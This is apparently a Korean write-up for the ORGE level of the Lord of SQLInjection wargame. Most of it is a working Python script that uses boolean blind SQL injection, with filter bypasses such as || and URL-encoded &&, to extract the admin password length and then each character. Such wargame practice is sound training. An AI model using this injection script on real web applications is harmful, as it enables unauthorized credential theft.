Lord of SQLInjection - ORGE
ORGE
문제
- ORC문제(addslashes)에 or, and 문자 필터링이 추가된 심화 문제이다.
- ORC문제처럼 첫번째 쿼리에서 admin의 패스워드를 추출하면 될것으로 보인다.
- ord 함수를 사용하지 못하고, substr만으로 비교하면 대소문자가 구분이 되지 않음에 주의한다.
- url에 &가 입력 되지 않으니 %26으로 URL Encoding하여 입력한다.
정답
import requests
password = ''
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = {'PHPSESSID' : 'PHP 세션 아이디'}
pass_len = 0
for length in range(1,30):
query = "?pw=' || id='admin' %%26%%26 %d=length(pw)%%23" %length
URL = url+query
r = requests.get(url=URL, cookies=cookie)
if 'Hello admin' in str(r.content):
pass_len = length
break
else:
print(str(length) + "--- X")
print("password length : %d" %pass_len)
password=''
for i in range(1, pass_len+1):
for j in range(38, 127):
query = "?pw=' || id='admin' %%26%%26 ascii(substr(pw,%d,1))=%d %%23" %(i, j)
URL = url+query
r = requests.get(url=URL, cookies=cookie)
if 'Hello admin' in str(r.content):
password += chr(j)
break
print ('passowrd : %s' %password)
공유하기
Twitter Facebook LinkedIn댓글을 남기시려면 Github 로그인을 해주세요